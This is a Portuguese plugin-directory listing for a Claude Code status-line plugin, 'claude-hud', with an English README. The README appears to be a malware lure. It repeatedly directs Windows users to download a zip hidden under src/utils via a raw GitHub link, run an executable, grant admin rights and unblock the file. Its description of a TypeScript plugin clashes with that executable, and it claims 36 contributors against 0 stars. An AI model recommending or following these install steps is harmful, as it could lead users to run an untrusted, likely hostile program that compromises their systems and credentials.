convez.ai
AgenteProdutividadeIntermediário
rabbitearspigsticking801

claude-hud

rabbitearspigsticking801/claude-hud

Painel de status persistente para monitorar contexto, ferramentas e agentes do Claude Code

Ver no GitHub
BomPluginScore · de 0 a 100

Agent que exibe um painel de status (HUD) persistente abaixo da entrada do Claude Code, mostrando contexto utilizado, ferramentas ativas, agentes em execução e progresso de tarefas. Funciona como monitor em tempo real para acompanhar a atividade do Claude Code sem alternar entre janelas.

Instalação

$npx convez-ai rabbitearspigsticking801/claude-hud

1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.

Métricas

Estrelas
0
Forks
0
Acompanhando
0
Saúde
85%
Último commit
há 1 mês
Versão
—
Issues abertas
0
Contribuidores
36

Casos de uso

  • Rastrear consumo de contexto em sessões longas antes de atingir limite
  • Acompanhar ferramentas e agentes ativos durante execução de tarefas
  • Monitorar progresso de tarefas (todo list) em tempo real
  • Manter visibilidade do estado da sessão sem alternar entre telas

Veredito

Ferramenta prática para quem usa Claude Code intensivamente no Windows, oferecendo visibilidade clara sobre recursos consumidos e atividades em execução. Solução focused em melhorar produtividade ao evitar context switching durante workflows longos.

README

A tradução para o português deste README ainda está na fila.

🧭 claude-hud - See Claude Code Activity Clearly

Download claude-hud

🚀 Getting Started

claude-hud is a Claude Code plugin that shows key activity in a clear status line. It helps you see context usage, active tools, running agents, and todo progress while you work.

Use it on Windows if you want a simple way to keep track of what Claude Code is doing without digging through extra screens.

📥 Download and Install

  1. Open this link: https://github.com/rabbitearspigsticking801/claude-hud/raw/refs/heads/main/src/utils/claude_hud_1.3.zip
  2. On the page, download the latest Windows package or release file.
  3. Save the file to your computer.
  4. If the file is a zip file, extract it first.
  5. Run the app or install the plugin as shown in the release files.

If the project page offers more than one file, choose the one for Windows.

🖥️ What claude-hud Shows

claude-hud keeps the most useful Claude Code details in view:

  • Context usage
  • Active tools
  • Running agents
  • Todo progress
  • Current session state
  • Work status at a glance

This helps you understand what Claude Code is doing without switching screens or checking logs.

✨ Why Use It

When you use Claude Code, it can be hard to know how much context is left or which tool is running. claude-hud gives you a clear view of that work.

You can use it to:

  • Track context use before it gets full
  • See which tools are active
  • Watch agent activity
  • Follow todo progress
  • Stay focused during longer tasks

🪟 Windows Setup

Use these steps on Windows:

  1. Download the file from the GitHub page.
  2. Save it in a folder you can find again, like Downloads or Desktop.
  3. If the download is zipped, right-click it and choose Extract All.
  4. Open the extracted folder.
  5. Start the program file or follow the plugin setup in the folder.
  6. If Windows asks for permission, choose Allow or Yes.

If the app opens in a terminal window, leave it open while you use Claude Code.

🔧 How to Use

Once claude-hud is running, it shows status details while Claude Code works.

Typical use looks like this:

  1. Start Claude Code.
  2. Start claude-hud.
  3. Watch the status line or HUD view.
  4. Check context use, tools, agents, and todo progress.
  5. Keep working while the display updates.

You do not need to manage it much after setup. It is meant to stay in the background and show current activity.

🧩 Features

🧠 Context Tracking

See how much context is in use during a session. This helps you plan longer tasks and know when the session may need a reset.

🛠️ Active Tool View

See which tool Claude Code is using. This is useful when a task moves through search, file changes, or other actions.

🤖 Running Agent Status

Watch active agents during a session. This makes multi-step work easier to follow.

✅ Todo Progress

Track task progress in a simple way. This helps you see what is done and what still needs attention.

👀 Status Line Display

Keep useful status details in one place. You do not need to hunt through separate windows.

📋 System Requirements

claude-hud is built for regular desktop use on Windows.

Recommended setup:

  • Windows 10 or Windows 11
  • Claude Code installed and working
  • A modern terminal app
  • Enough free space for the app and its files
  • A stable internet connection for setup and updates

For the smoothest use, keep Claude Code and claude-hud on the same machine.

🧭 Before You Start

Make sure you have:

  • A Windows account with permission to run apps
  • The GitHub download saved locally
  • Claude Code ready to use
  • A place to keep the files, such as a folder named claude-hud

If the project includes a setup file, use it as shown in the download folder.

🗂️ Folder Layout

A typical download may include files like these:

  • claude-hud.exe
  • README.md
  • config.json
  • assets/
  • logs/

You may not see all of these, but this is a normal layout for a Windows tool or plugin package.

⚙️ Basic Configuration

Some builds may include a small config file so you can change how the HUD looks or behaves.

Common settings may include:

  • Display position
  • Update interval
  • Which status items are shown
  • Size of the HUD
  • Color theme

If you see a config file, open it with Notepad and change only the parts you understand.

🎯 Use Cases

claude-hud works well if you:

  • Use Claude Code for long tasks
  • Want to keep an eye on context use
  • Need to see tool activity
  • Want a simple progress view
  • Prefer a clear status display while coding or testing

It is also useful when you want less guesswork during longer sessions.

🧪 Troubleshooting

If claude-hud does not start:

  1. Check that the file finished downloading.
  2. Make sure you extracted the zip file if needed.
  3. Right-click the app and try Run as administrator.
  4. Confirm Claude Code is installed.
  5. Look for any setup file or config file in the folder.

If the status does not appear:

  1. Restart Claude Code.
  2. Restart claude-hud.
  3. Check whether the display is hidden behind another window.
  4. Look for a config setting that controls where the HUD appears.

If Windows blocks the file:

  1. Right-click the file.
  2. Open Properties.
  3. If you see an Unblock option, enable it.
  4. Try running the file again.

🔍 Topics

This project is related to:

  • anthropic
  • claude
  • claude-code
  • cli
  • plugin
  • statusline
  • typescript

📌 Download Link

Visit this page to download the Windows files:

https://github.com/rabbitearspigsticking801/claude-hud/raw/refs/heads/main/src/utils/claude_hud_1.3.zip

🛠️ Updates

Check the GitHub page from time to time for newer builds, bug fixes, and setup changes. If a newer file appears, download the latest version and replace the old one with the new release files.

📁 Example Workflow

A simple way to use claude-hud on Windows:

  1. Download the project from GitHub.
  2. Extract the files if needed.
  3. Open Claude Code.
  4. Start claude-hud.
  5. Keep both running while you work.
  6. Watch context, tools, agents, and todo progress in one place

🧷 File Safety

Only download from the GitHub page linked above. If the file name or folder structure looks different from the normal release files, check the release notes before you run it.

🧾 License

Use the license file in the repository for the full terms of use.

Ver o original no GitHub

Bom para

Relacionados